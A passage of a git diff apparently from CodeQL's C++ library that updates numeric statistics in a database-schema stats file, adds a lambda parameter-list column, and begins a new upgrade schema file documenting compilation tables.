+ 2334426
@@ -33032,7 +32886,7 @@
1
2
- 2336741
+ 2334426
@@ -33048,17 +32902,17 @@
1
2
- 865959
+ 871776
2
15
- 39247
+ 39395
16
25
- 77913
+ 77353
@@ -33074,17 +32928,17 @@
1
2
- 865959
+ 871776
2
15
- 39247
+ 39395
16
25
- 77913
+ 77353
@@ -33100,7 +32954,7 @@
1
2
- 983111
+ 988516
2
@@ -33121,7 +32975,7 @@
1
2
- 2336741
+ 2334426
@@ -33137,7 +32991,7 @@
1
2
- 2336741
+ 2334426
@@ -33153,7 +33007,7 @@
1
2
- 2336741
+ 2334426
@@ -33169,22 +33023,22 @@
1
2
- 439428
+ 438122
2
3
- 32733
+ 32980
3
15
- 42317
+ 42099
15
- 111551
- 24571
+ 111796
+ 24610
@@ -33200,17 +33054,17 @@
1
2
- 470696
+ 469174
2
4
- 49308
+ 49479
4
- 12073
- 19046
+ 12163
+ 19159
@@ -33226,22 +33080,22 @@
1
2
- 439428
+ 438122
2
3
- 32733
+ 32980
3
15
- 42317
+ 42099
15
- 111551
- 24571
+ 111796
+ 24610
@@ -33251,26 +33105,26 @@
braced_initialisers
- 74268
+ 74076
init
- 74268
+ 74076
expr_ancestor
- 1797625
+ 1795303
exp
- 1797625
+ 1795303
ancestor
- 899688
+ 898526
@@ -33284,7 +33138,7 @@
1
2
- 1797625
+ 1795303
@@ -33300,17 +33154,17 @@
1
2
- 18305
+ 18281
2
3
- 870593
+ 869469
3
19
- 10789
+ 10775
@@ -33320,19 +33174,19 @@
exprs
- 25136620
+ 25143280
id
- 25136620
+ 25143280
kind
- 1448
+ 1446
location
- 10563688
+ 10554422
@@ -33346,7 +33200,7 @@
1
2
- 25136620
+ 25143280
@@ -33362,7 +33216,7 @@
1
2
- 25136620
+ 25143280
@@ -33416,8 +33270,8 @@
109
- 3210
- 4267
+ 3390
+ 4336
109
@@ -33427,11 +33281,11 @@
5187
- 22126
+ 22128
109
- 26363
+ 26432
50205
109
@@ -33441,8 +33295,8 @@
109
- 312846
- 312847
+ 313148
+ 313149
21
@@ -33512,8 +33366,8 @@
109
- 5471
- 21139
+ 5473
+ 21165
109
@@ -33522,8 +33376,8 @@
109
- 224078
- 224079
+ 224080
+ 224081
21
@@ -33540,22 +33394,22 @@
1
2
- 8887659
+ 8876942
2
3
- 818573
+ 818418
3
16
- 793536
+ 795071
16
71733
- 63919
+ 63990
@@ -33571,17 +33425,17 @@
1
2
- 9023791
+ 9015972
2
3
- 772932
+ 772206
3
32
- 766964
+ 766243
@@ -33591,15 +33445,15 @@
expr_reuse
- 907596
+ 906424
reuse
- 907596
+ 906424
original
- 907596
+ 906424
value_category
@@ -33617,7 +33471,7 @@
1
2
- 907596
+ 906424
@@ -33633,7 +33487,7 @@
1
2
- 907596
+ 906424
@@ -33649,7 +33503,7 @@
1
2
- 907596
+ 906424
@@ -33665,7 +33519,7 @@
1
2
- 907596
+ 906424
@@ -33717,15 +33571,15 @@
expr_types
- 25136620
+ 25143280
id
- 25136620
+ 25143280
typeid
- 213831
+ 213630
value_category
@@ -33743,7 +33597,7 @@
1
2
- 25136620
+ 25143280
@@ -33759,7 +33613,7 @@
1
2
- 25136620
+ 25143280
@@ -33775,52 +33629,52 @@
1
2
- 52421
+ 52371
2
3
- 35130
+ 35097
3
4
- 14504
+ 14468
4
5
- 14504
+ 14490
5
8
- 17510
+ 17515
8
14
- 17378
+ 17340
14
24
- 16391
+ 16397
24
49
- 16084
+ 16025
49
134
- 16105
+ 16134
134
- 440938
- 13801
+ 441505
+ 13789
@@ -33836,12 +33690,12 @@
1
2
- 185591
+ 185417
2
3
- 28240
+ 28213
@@ -33855,13 +33709,13 @@
12
- 153383
- 153384
+ 153745
+ 153746
21
- 992173
- 992174
+ 993192
+ 993193
21
@@ -33904,15 +33758,15 @@
new_allocated_type
- 58177
+ 57934
expr
- 58177
+ 57934
type_id
- 34494
+ 34350
@@ -33926,7 +33780,7 @@
1
2
- 58177
+ 57934
@@ -33942,17 +33796,17 @@
1
2
- 14501
+ 14440
2
3
- 18234
+ 18158
3
19
- 1759
+ 1751
@@ -33962,15 +33816,15 @@
new_array_allocated_type
- 6964
+ 6914
expr
- 6964
+ 6914
type_id
- 2992
+ 2970
@@ -33984,7 +33838,7 @@
1
2
- 6964
+ 6914
@@ -34005,17 +33859,17 @@
2
3
- 2645
+ 2626
3
5
- 225
+ 223
6
15
- 78
+ 77
@@ -35361,15 +35215,15 @@
condition_decl_bind
- 438155
+ 437589
expr
- 438155
+ 437589
decl
- 438155
+ 437589
@@ -35383,7 +35237,7 @@
1
2
- 438155
+ 437589
@@ -35399,7 +35253,7 @@
1
2
- 438155
+ 437589
@@ -35409,15 +35263,15 @@
typeid_bind
- 60322
+ 60071
expr
- 60322
+ 60071
type_id
- 20078
+ 19995
@@ -35431,7 +35285,7 @@
1
2
- 60322
+ 60071
@@ -35447,17 +35301,17 @@
1
2
- 3732
+ 3717
2
3
- 15831
+ 15765
3
328
- 514
+ 512
@@ -35467,15 +35321,15 @@
uuidof_bind
- 27728
+ 27985
expr
- 27728
+ 27985
type_id
- 27459
+ 27719
@@ -35489,7 +35343,7 @@
1
2
- 27728
+ 27985
@@ -35505,12 +35359,12 @@
1
2
- 27234
+ 27495
2
4
- 225
+ 223
@@ -35520,15 +35374,15 @@
sizeof_bind
- 241252
+ 241381
expr
- 241252
+ 241381
type_id
- 11189
+ 11180
@@ -35542,7 +35396,7 @@
1
2
- 241252
+ 241381
@@ -35558,12 +35412,12 @@
1
2
- 3901
+ 3867
2
3
- 2758
+ 2776
3
@@ -35573,7 +35427,7 @@
4
5
- 1136
+ 1137
5
@@ -35583,12 +35437,12 @@
6
7
- 1061
+ 1062
7
40
- 848
+ 854
40
@@ -35651,11 +35505,11 @@
lambdas
- 17804
+ 17730
expr
- 17804
+ 17730
default_capture
@@ -35665,6 +35519,10 @@
has_explicit_return_type
85
+
+ has_explicit_parameter_list
+ 85
+
@@ -35677,7 +35535,7 @@
1
2
- 17804
+ 17730
@@ -35693,7 +35551,23 @@
1
2
- 17804
+ 17730
+
+
+
+
+
+
+ expr
+ has_explicit_parameter_list
+
+
+ 12
+
+
+ 1
+ 2
+ 17730
@@ -35746,6 +35620,27 @@
+
+ default_capture
+ has_explicit_parameter_list
+
+
+ 12
+
+
+ 1
+ 2
+ 42
+
+
+ 2
+ 3
+ 85
+
+
+
+
+
has_explicit_return_type
expr
@@ -35788,27 +35683,111 @@
+
+ has_explicit_return_type
+ has_explicit_parameter_list
+
+
+ 12
+
+
+ 1
+ 2
+ 42
+
+
+ 2
+ 3
+ 42
+
+
+
+
+
+
+ has_explicit_parameter_list
+ expr
+
+
+ 12
+
+
+ 45
+ 46
+ 42
+
+
+ 370
+ 371
+ 42
+
+
+
+
+
+
+ has_explicit_parameter_list
+ default_capture
+
+
+ 12
+
+
+ 2
+ 3
+ 42
+
+
+ 3
+ 4
+ 42
+
+
+
+
+
+
+ has_explicit_parameter_list
+ has_explicit_return_type
+
+
+ 12
+
+
+ 1
+ 2
+ 42
+
+
+ 2
+ 3
+ 42
+
+
+
+
+
lambda_capture
- 28786
+ 28450
id
- 28786
+ 28450
lambda
- 13391
+ 13261
index
- 147
+ 146
field
- 28786
+ 28450
captured_by_reference
@@ -35820,7 +35799,7 @@
location
- 18604
+ 18350
@@ -35834,7 +35813,7 @@
1
2
- 28786
+ 28450
@@ -35850,7 +35829,7 @@
1
2
- 28786
+ 28450
@@ -35866,7 +35845,7 @@
1
2
- 28786
+ 28450
@@ -35882,7 +35861,7 @@
1
2
- 28786
+ 28450
@@ -35898,7 +35877,7 @@
1
2
- 28786
+ 28450
@@ -35914,7 +35893,7 @@
1
2
- 28786
+ 28450
@@ -35930,27 +35909,27 @@
1
2
- 6704
+ 6656
2
3
- 3113
+ 3074
3
4
- 1630
+ 1610
4
6
- 1231
+ 1222
6
18
- 711
+ 697
@@ -35966,27 +35945,27 @@
1
2
- 6704
+ 6656
2
3
- 3113
+ 3074
3
4
- 1630
+ 1610
4
6
- 1231
+ 1222
6
18
- 711
+ 697
@@ -36002,27 +35981,27 @@
1
2
- 6704
+ 6656
2
3
- 3113
+ 3074
3
4
- 1630
+ 1610
4
6
- 1231
+ 1222
6
18
- 711
+ 697
@@ -36038,12 +36017,12 @@
1
2
- 12801
+ 12692
2
3
- 589
+ 568
@@ -36059,12 +36038,12 @@
1
2
- 13365
+ 13235
2
3
- 26
+ 25
@@ -36080,27 +36059,27 @@
1
2
- 7337
+ 7284
2
3
- 3278
+ 3237
3
4
- 1344
+ 1326
4
7
- 1092
+ 1084
7
18
- 338
+ 327
@@ -36159,43 +36138,43 @@
8
- 27
- 28
+ 26
+ 27
8
- 47
- 48
+ 46
+ 47
8
- 82
- 83
+ 81
+ 82
8
- 140
- 141
+ 139
+ 140
8
- 224
- 225
+ 223
+ 224
8
- 412
- 413
+ 410
+ 411
8
- 771
- 772
+ 767
+ 768
8
- 1544
- 1545
+ 1540
+ 1541
8
@@ -36255,43 +36234,43 @@
8
- 27
- 28
+ 26
+ 27
8
- 47
- 48
+ 46
+ 47
8
- 82
- 83
+ 81
+ 82
8
- 140
- 141
+ 139
+ 140
8
- 224
- 225
+ 223
+ 224
8
- 412
- 413
+ 410
+ 411
8
- 771
- 772
+ 767
+ 768
8
- 1544
- 1545
+ 1540
+ 1541
8
@@ -36351,43 +36330,43 @@
8
- 27
- 28
+ 26
+ 27
8
- 47
- 48
+ 46
+ 47
8
- 82
- 83
+ 81
+ 82
8
- 140
- 141
+ 139
+ 140
8
- 224
- 225
+ 223
+ 224
8
- 412
- 413
+ 410
+ 411
8
- 771
- 772
+ 767
+ 768
8
- 1544
- 1545
+ 1540
+ 1541
8
@@ -36409,7 +36388,7 @@
2
3
- 112
+ 111
@@ -36489,43 +36468,43 @@
8
- 25
- 26
+ 24
+ 25
8
- 42
- 43
+ 41
+ 42
8
- 66
- 67
+ 65
+ 66
8
- 99
- 100
+ 98
+ 99
8
- 180
- 181
+ 179
+ 180
8
- 349
- 350
+ 347
+ 348
8
- 589
- 590
+ 585
+ 586
8
- 937
- 938
+ 933
+ 934
8
@@ -36542,7 +36521,7 @@
1
2
- 28786
+ 28450
@@ -36558,7 +36537,7 @@
1
2
- 28786
+ 28450
@@ -36574,7 +36553,7 @@
1
2
- 28786
+ 28450
@@ -36590,7 +36569,7 @@
1
2
- 28786
+ 28450
@@ -36606,7 +36585,7 @@
1
2
- 28786
+ 28450
@@ -36622,7 +36601,7 @@
1
2
- 28786
+ 28450
@@ -36636,13 +36615,13 @@
12
- 1182
- 1183
+ 1180
+ 1181
8
- 2137
- 2138
+ 2124
+ 2125
8
@@ -36657,13 +36636,13 @@
12
- 592
- 593
+ 590
+ 591
8
- 1020
- 1021
+ 1016
+ 1017
8
@@ -36699,13 +36678,13 @@
12
- 1182
- 1183
+ 1180
+ 1181
8
- 2137
- 2138
+ 2124
+ 2125
8
@@ -36736,13 +36715,13 @@
12
- 547
- 548
+ 545
+ 546
8
- 1601
- 1602
+ 1589
+ 1590
8
@@ -36762,8 +36741,8 @@
8
- 2492
- 2493
+ 2477
+ 2478
8
@@ -36783,8 +36762,8 @@
8
- 927
- 928
+ 923
+ 924
8
@@ -36825,8 +36804,8 @@
8
- 2492
- 2493
+ 2477
+ 2478
8
@@ -36862,8 +36841,8 @@
8
- 1817
- 1818
+ 1803
+ 1804
8
@@ -36880,17 +36859,17 @@
1
2
- 16756
+ 16524
2
6
- 1413
+ 1394
6
68
- 433
+ 430
@@ -36906,12 +36885,12 @@
1
2
- 17381
+ 17136
2
68
- 1222
+ 1214
@@ -36927,12 +36906,12 @@
1
2
- 17858
+ 17618
2
8
- 745
+ 731
@@ -36948,17 +36927,17 @@
1
2
- 16756
+ 16524
2
6
- 1413
+ 1394
6
68
- 433
+ 430
@@ -36974,12 +36953,12 @@
1
2
- 18578
+ 18324
2
3
- 26
+ 25
@@ -36995,7 +36974,7 @@
1
2
- 18604
+ 18350
@@ -37005,11 +36984,11 @@
fold
- 1372
+ 1367
expr
- 1372
+ 1367
operator
@@ -37031,7 +37010,7 @@
1
2
- 1372
+ 1367
@@ -37047,7 +37026,7 @@
1
2
- 1372
+ 1367
@@ -37126,19 +37105,19 @@
stmts
- 6324453
+ 6243068
id
- 6324453
+ 6243068
kind
- 2556
+ 172
location
- 2966319
+ 2747714
@@ -37152,7 +37131,7 @@
1
2
- 6324453
+ 6243068
@@ -37168,7 +37147,7 @@
1
2
- 6324453
+ 6243068
@@ -37184,97 +37163,102 @@
1
2
- 134
+ 8
- 18
- 19
- 134
+ 26
+ 27
+ 8
- 22
- 23
- 134
+ 418
+ 419
+ 8
- 51
- 52
- 134
+ 546
+ 547
+ 8
- 76
- 77
- 134
+ 827
+ 828
+ 8
- 84
- 85
- 134
+ 1470
+ 1471
+ 8
- 107
- 108
- 134
+ 1577
+ 1578
+ 8
- 163
- 164
- 134
+ 1802
+ 1803
+ 8
- 258
- 259
- 134
+ 2462
+ 2463
+ 8
- 299
- 300
- 134
+ 3217
+ 3218
+ 8
- 412
- 413
- 134
+ 3610
+ 3611
+ 8
- 498
- 499
- 134
+ 4863
+ 4864
+ 8
- 538
- 539
- 134
+ 16249
+ 16250
+ 8
- 1371
- 1372
- 134
+ 16732
+ 16733
+ 8
- 2810
- 2811
- 134
+ 21439
+ 21440
+ 8
- 4866
- 4867
- 134
+ 68795
+ 68796
+ 8
- 9205
- 9206
- 134
+ 89075
+ 89076
+ 8
- 12120
- 12121
- 134
+ 112007
+ 112008
+ 8
- 14105
- 14106
- 134
+ 185649
+ 185650
+ 8
+
+
+ 194240
+ 194241
+ 8
@@ -37290,97 +37274,102 @@
1
2
- 134
+ 8
- 8
- 9
- 134
+ 26
+ 27
+ 8
- 18
- 19
- 134
+ 109
+ 110
+ 8
- 45
- 46
- 134
+ 419
+ 420
+ 8
- 50
- 51
- 134
+ 778
+ 779
+ 8
- 56
- 57
- 134
+ 1079
+ 1080
+ 8
- 74
- 75
- 134
+ 1311
+ 1312
+ 8
- 101
- 102
- 134
+ 1347
+ 1348
+ 8
- 103
- 104
- 134
+ 1388
+ 1389
+ 8
- 131
- 132
- 134
+ 2061
+ 2062
+ 8
- 225
- 226
- 134
+ 2309
+ 2310
+ 8
- 252
- 253
- 134
+ 2476
+ 2477
+ 8
- 368
- 369
- 134
+ 7043
+ 7044
+ 8
- 650
- 651
- 134
+ 8622
+ 8623
+ 8
- 1753
- 1754
- 134
+ 11206
+ 11207
+ 8
- 2198
- 2199
- 134
+ 36340
+ 36341
+ 8
- 4244
- 4245
- 134
+ 43405
+ 43406
+ 8
- 6101
- 6102
- 134
+ 47752
+ 47753
+ 8
- 6607
- 6608
- 134
+ 83834
+ 83835
+ 8
+
+
+ 97372
+ 97373
+ 8
@@ -37396,22 +37385,17 @@
1
2
- 2357205
+ 2346946
2
- 3
- 243538
+ 4
+ 238474
- 3
- 8
- 228602
-
-
- 8
- 653
- 136973
+ 4
+ 1581
+ 162292
@@ -37427,12 +37411,12 @@
1
2
- 2892720
+ 2661225
2
- 8
- 73599
+ 10
+ 86489
@@ -37549,15 +37533,15 @@
if_initialization
- 403
+ 373
if_stmt
- 403
+ 373
init_id
- 403
+ 373
@@ -37571,7 +37555,7 @@
1
2
- 403
+ 373
@@ -37587,7 +37571,7 @@
1
2
- 403
+ 373
@@ -37597,15 +37581,15 @@
if_then
- 987309
+ 987571
if_stmt
- 987309
+ 987571
then_id
- 987309
+ 987571
@@ -37619,7 +37603,7 @@
1
2
- 987309
+ 987571
@@ -37635,7 +37619,7 @@
1
2
- 987309
+ 987571
@@ -37645,15 +37629,15 @@
if_else
- 468357
+ 467752
if_stmt
- 468357
+ 467752
else_id
- 468357
+ 467752
@@ -37667,7 +37651,7 @@
1
2
- 468357
+ 467752
@@ -37683,7 +37667,7 @@
1
2
- 468357
+ 467752
@@ -37741,15 +37725,15 @@
constexpr_if_then
- 72388
+ 103537
constexpr_if_stmt
- 72388
+ 103537
then_id
- 72388
+ 103537
@@ -37763,7 +37747,7 @@
1
2
- 72388
+ 103537
@@ -37779,7 +37763,7 @@
1
2
- 72388
+ 103537
@@ -37789,15 +37773,15 @@
constexpr_if_else
- 41980
+ 73759
constexpr_if_stmt
- 41980
+ 73759
else_id
- 41980
+ 73759
@@ -37811,7 +37795,7 @@
1
2
- 41980
+ 73759
@@ -37827,7 +37811,7 @@
1
2
- 41980
+ 73759
@@ -37933,15 +37917,15 @@
while_body
- 39531
+ 39542
while_stmt
- 39531
+ 39542
body_id
- 39531
+ 39542
@@ -37955,7 +37939,7 @@
1
2
- 39531
+ 39542
@@ -37971,7 +37955,7 @@
1
2
- 39531
+ 39542
@@ -37981,15 +37965,15 @@
do_body
- 232977
+ 233017
do_stmt
- 232977
+ 233017
body_id
- 232977
+ 233017
@@ -38003,7 +37987,7 @@
1
2
- 232977
+ 233017
@@ -38019,7 +38003,7 @@
1
2
- 232977
+ 233017
@@ -38077,11 +38061,11 @@
switch_case
- 895930
+ 894773
switch_stmt
- 441314
+ 440744
index
@@ -38089,7 +38073,7 @@
case_id
- 895930
+ 894773
@@ -38108,12 +38092,12 @@
2
3
- 438224
+ 437658
3
19
- 3066
+ 3062
@@ -38134,12 +38118,12 @@
2
3
- 438224
+ 437658
3
19
- 3066
+ 3062
@@ -38297,7 +38281,7 @@
1
2
- 895930
+ 894773
@@ -38313,7 +38297,7 @@
1
2
- 895930
+ 894773
@@ -38323,15 +38307,15 @@
switch_body
- 441314
+ 440744
switch_stmt
- 441314
+ 440744
body_id
- 441314
+ 440744
@@ -38345,7 +38329,7 @@
1
2
- 441314
+ 440744
@@ -38361,7 +38345,7 @@
1
2
- 441314
+ 440744
@@ -38371,15 +38355,15 @@
for_initialization
- 73031
+ 73050
for_stmt
- 73031
+ 73050
init_id
- 73031
+ 73050
@@ -38393,7 +38377,7 @@
1
2
- 73031
+ 73050
@@ -38409,7 +38393,7 @@
1
2
- 73031
+ 73050
@@ -38419,15 +38403,15 @@
for_condition
- 76117
+ 76137
for_stmt
- 76117
+ 76137
condition_id
- 76117
+ 76137
@@ -38441,7 +38425,7 @@
1
2
- 76117
+ 76137
@@ -38457,7 +38441,7 @@
1
2
- 76117
+ 76137
@@ -38467,15 +38451,15 @@
for_update
- 73171
+ 73190
for_stmt
- 73171
+ 73190
update_id
- 73171
+ 73190
@@ -38489,7 +38473,7 @@
1
2
- 73171
+ 73190
@@ -38505,7 +38489,7 @@
1
2
- 73171
+ 73190
@@ -38515,15 +38499,15 @@
for_body
- 84141
+ 84163
for_stmt
- 84141
+ 84163
body_id
- 84141
+ 84163
@@ -38537,7 +38521,7 @@
1
2
- 84141
+ 84163
@@ -38553,7 +38537,7 @@
1
2
- 84141
+ 84163
@@ -38563,19 +38547,19 @@
stmtparents
- 5536606
+ 5509818
id
- 5536606
+ 5509818
index
- 16843
+ 16722
parent
- 2349144
+ 2336424
@@ -38589,7 +38573,7 @@
1
2
- 5536606
+ 5509818
@@ -38605,7 +38589,7 @@
1
2
- 5536606
+ 5509818
@@ -38621,52 +38605,52 @@
1
2
- 5533
+ 5493
2
3
- 1379
+ 1369
3
4
- 303
+ 301
4
5
- 2142
+ 2126
7
8
- 1405
+ 1394
8
12
- 1092
+ 1084
12
29
- 1483
+ 1472
29
38
- 1266
+ 1257
41
77
- 1274
+ 1265
77
- 194851
- 962
+ 195079
+ 955
@@ -38682,52 +38666,52 @@
1
2
- 5533
+ 5493
2
3
- 1379
+ 1369
3
4
- 303
+ 301
4
5
- 2142
+ 2126
7
8
- 1405
+ 1394
8
12
- 1092
+ 1084
12
29
- 1483
+ 1472
29
38
- 1266
+ 1257
41
77
- 1274
+ 1265
77
- 194851
- 962
+ 195079
+ 955
@@ -38743,32 +38727,32 @@
1
2
- 1349093
+ 1341036
2
3
- 508963
+ 506485
3
4
- 144290
+ 143753
4
6
- 151888
+ 151038
6
- 17
- 178125
+ 16
+ 175329
- 17
+ 16
1943
- 16783
+ 18780
@@ -38784,32 +38768,32 @@
1
2
- 1349093
+ 1341036
2
3
- 508963
+ 506485
3
4
- 144290
+ 143753
4
6
- 151888
+ 151038
6
- 17
- 178125
+ 16
+ 175329
- 17
+ 16
1943
- 16783
+ 18780
@@ -38819,30 +38803,30 @@
ishandler
- 47453
+ 47330
block
- 47453
+ 47330
stmt_decl_bind
- 730619
+ 723033
stmt
- 690157
+ 682992
num
- 125
+ 124
decl
- 730550
+ 722965
@@ -38856,12 +38840,12 @@
1
2
- 667933
+ 660998
2
32
- 22224
+ 21993
@@ -38877,12 +38861,12 @@
1
2
- 667933
+ 660998
2
32
- 22224
+ 21993
@@ -38942,7 +38926,7 @@
5480
- 170178
+ 170179
8
@@ -39003,7 +38987,7 @@
5480
- 170161
+ 170162
8
@@ -39020,7 +39004,7 @@
1
2
- 730526
+ 722941
2
@@ -39041,7 +39025,7 @@
1
2
- 730550
+ 722965
@@ -39051,19 +39035,19 @@
stmt_decl_entry_bind
- 730619
+ 723033
stmt
- 690157
+ 682992
num
- 125
+ 124
decl_entry
- 730619
+ 723033
@@ -39077,12 +39061,12 @@
1
2
- 667933
+ 660998
2
32
- 22224
+ 21993
@@ -39098,12 +39082,12 @@
1
2
- 667933
+ 660998
2
32
- 22224
+ 21993
@@ -39163,7 +39147,7 @@
5480
- 170178
+ 170179
8
@@ -39224,7 +39208,7 @@
5480
- 170178
+ 170179
8
@@ -39241,7 +39225,7 @@
1
2
- 730619
+ 723033
@@ -39257,7 +39241,7 @@
1
2
- 730619
+ 723033
@@ -39267,15 +39251,15 @@
blockscope
- 1838779
+ 1757769
block
- 1838779
+ 1757769
enclosing
- 1575731
+ 1503348
@@ -39289,7 +39273,7 @@
1
2
- 1838779
+ 1757769
@@ -39305,17 +39289,17 @@
1
2
- 1400410
+ 1332655
2
3
- 129842
+ 128207
3
28
- 45478
+ 42486
@@ -39325,19 +39309,19 @@
jumpinfo
- 347302
+ 347391
id
- 347302
+ 347391
str
- 28864
+ 28871
target
- 72493
+ 72512
@@ -39351,7 +39335,7 @@
1
2
- 347302
+ 347391
@@ -39367,7 +39351,7 @@
1
2
- 347302
+ 347391
@@ -39383,12 +39367,12 @@
2
3
- 13557
+ 13560
3
4
- 6041
+ 6042
4
@@ -39403,7 +39387,7 @@
6
10
- 2191
+ 2192
10
@@ -39413,7 +39397,7 @@
25
13711
- 999
+ 1000
@@ -39429,17 +39413,17 @@
1
2
- 23122
+ 23128
2
3
- 3616
+ 3617
3
3321
- 2124
+ 2125
@@ -39460,27 +39444,27 @@
2
3
- 36105
+ 36114
3
4
- 17581
+ 17586
4
5
- 7357
+ 7359
5
8
- 6399
+ 6401
8
2124
- 5016
+ 5017
@@ -39496,7 +39480,7 @@
1
2
- 72493
+ 72512
@@ -39506,19 +39490,19 @@
preprocdirects
- 5704844
+ 5386937
id
- 5704844
+ 5386937
kind
- 1480
+ 1370
location
- 5701480
+ 5383698
@@ -39532,7 +39516,7 @@
1
2
- 5704844
+ 5386937
@@ -39548,7 +39532,7 @@
1
2
- 5704844
+ 5386937
@@ -39564,57 +39548,57 @@
1
2
- 134
+ 124
- 122
- 123
- 134
+ 145
+ 146
+ 124
- 694
- 695
- 134
+ 808
+ 809
+ 124
- 799
- 800
- 134
+ 866
+ 867
+ 124
- 932
- 933
- 134
+ 973
+ 974
+ 124
- 1689
- 1690
- 134
+ 1509
+ 1510
+ 124
- 1792
- 1793
- 134
+ 1891
+ 1892
+ 124
- 3012
- 3013
- 134
+ 3256
+ 3257
+ 124
- 3802
- 3803
- 134
+ 4714
+ 4715
+ 124
- 6290
- 6291
- 134
+ 7089
+ 7090
+ 124
- 23266
- 23267
- 134
+ 21984
+ 21985
+ 124
@@ -39630,57 +39614,57 @@
1
2
- 134
+ 124
- 122
- 123
- 134
+ 145
+ 146
+ 124
- 694
- 695
- 134
+ 808
+ 809
+ 124
- 799
- 800
- 134
+ 866
+ 867
+ 124
- 932
- 933
- 134
+ 973
+ 974
+ 124
- 1689
- 1690
- 134
+ 1509
+ 1510
+ 124
- 1792
- 1793
- 134
+ 1891
+ 1892
+ 124
- 3012
- 3013
- 134
+ 3256
+ 3257
+ 124
- 3802
- 3803
- 134
+ 4714
+ 4715
+ 124
- 6290
- 6291
- 134
+ 7089
+ 7090
+ 124
- 23241
- 23242
- 134
+ 21958
+ 21959
+ 124
@@ -39696,12 +39680,12 @@
1
2
- 5701345
+ 5383573
- 26
- 27
- 134
+ 27
+ 28
+ 124
@@ -39717,7 +39701,7 @@
1
2
- 5701480
+ 5383698
@@ -39727,15 +39711,15 @@
preprocpair
- 1103859
+ 1136918
begin
- 846328
+ 883245
elseelifend
- 1103859
+ 1136918
@@ -39749,17 +39733,17 @@
1
2
- 601579
+ 643153
2
3
- 235599
+ 230498
3
9
- 9149
+ 9593
@@ -39775,7 +39759,7 @@
1
2
- 1103859
+ 1136918
@@ -39785,41 +39769,41 @@
preproctrue
- 388584
+ 436078
branch
- 388584
+ 436078
preprocfalse
- 273273
+ 283575
branch
- 273273
+ 283575
preproctext
- 4690461
+ 4335864
id
- 4690461
+ 4335864
head
- 3333241
+ 2943528
body
- 1948304
+ 1674914
@@ -39833,7 +39817,7 @@
1
2
- 4690461
+ 4335864
@@ -39849,7 +39833,7 @@
1
2
- 4690461
+ 4335864
@@ -39865,12 +39849,12 @@
1
2
- 3143793
+ 2747542
2
- 740
- 189448
+ 798
+ 195986
@@ -39886,12 +39870,12 @@
1
2
- 3253048
+ 2864162
2
5
- 80192
+ 79366
@@ -39907,17 +39891,17 @@
1
2
- 1763699
+ 1526897
2
- 6
- 146122
+ 10
+ 127210
- 6
- 12303
- 38481
+ 10
+ 13579
+ 20807
@@ -39933,17 +39917,17 @@
1
2
- 1767601
+ 1531133
2
- 7
- 146526
+ 12
+ 126836
- 7
- 2977
- 34176
+ 12
+ 3231
+ 16944
@@ -39953,15 +39937,15 @@
includes
- 408508
+ 397814
id
- 408508
+ 397814
included
- 75250
+ 73280
@@ -39975,7 +39959,7 @@
1
2
- 408508
+ 397814
@@ -39991,37 +39975,37 @@
1
2
- 37239
+ 36264
2
3
- 12106
+ 11789
3
4
- 6351
+ 6184
4
6
- 6865
+ 6685
6
11
- 5795
+ 5644
11
47
- 5646
+ 5499
47
793
- 1245
+ 1213
@@ -40031,15 +40015,15 @@
link_targets
- 947
+ 923
id
- 947
+ 923
binary
- 947
+ 923
@@ -40053,7 +40037,7 @@
1
2
- 947
+ 923
@@ -40069,7 +40053,7 @@
1
2
- 947
+ 923
@@ -40079,15 +40063,15 @@
link_parent
- 38261175
+ 38113713
element
- 4866384
+ 4847511
link_target
- 429
+ 427
@@ -40101,17 +40085,17 @@
1
2
- 667923
+ 665224
2
9
- 33936
+ 33795
9
10
- 4164523
+ 4148491
@@ -40130,48 +40114,48 @@
42
- 97325
- 97326
+ 97356
+ 97357
42
- 97444
- 97445
+ 97475
+ 97476
42
- 97497
- 97498
+ 97528
+ 97529
42
- 97524
- 97525
+ 97555
+ 97556
42
- 97546
- 97547
+ 97577
+ 97578
42
- 97578
- 97579
+ 97609
+ 97610
42
- 99585
- 99586
+ 99616
+ 99617
42
- 102965
- 102966
+ 102996
+ 102997
42
- 104327
- 104328
+ 104360
+ 104361
42
diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme
new file mode 100644
index 00000000000..9a7c3c14c10
--- /dev/null
+++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/old.dbscheme
@@ -0,0 +1,2491 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+ /**
+ * An invocation of the compiler. Note that more than one file may
+ * be compiled per invocation. For example, this command compiles
+ * three source files:
+ *
+ * gcc -c f1.c f2.c f3.c
+ */
+ unique int id : @compilation,
+ string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | *path to extractor*
+ * 1 | `--mimic`
+ * 2 | `/usr/bin/gcc`
+ * 3 | `-c`
+ * 4 | f1.c
+ * 5 | f2.c
+ * 6 | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+ int id : @compilation ref,
+ int num : int ref,
+ string arg : string ref
+);
+
+/**
+ * Optionally, record the build mode for each compilation.
+ */
+compilation_build_mode(
+ unique int id : @compilation ref,
+ int mode : int ref
+);
+
+/*
+case @compilation_build_mode.mode of
+ 0 = @build_mode_none
+| 1 = @build_mode_manual
+| 2 = @build_mode_auto
+;
+*/
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ * gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0 | f1.c
+ * 1 | f2.c
+ * 2 | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+ int id : @compilation ref,
+ int num : int ref,
+ int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1 | CPU seconds used by the extractor frontend
+ * 2 | Elapsed seconds during the extractor frontend
+ * 3 | CPU seconds used by the extractor backend
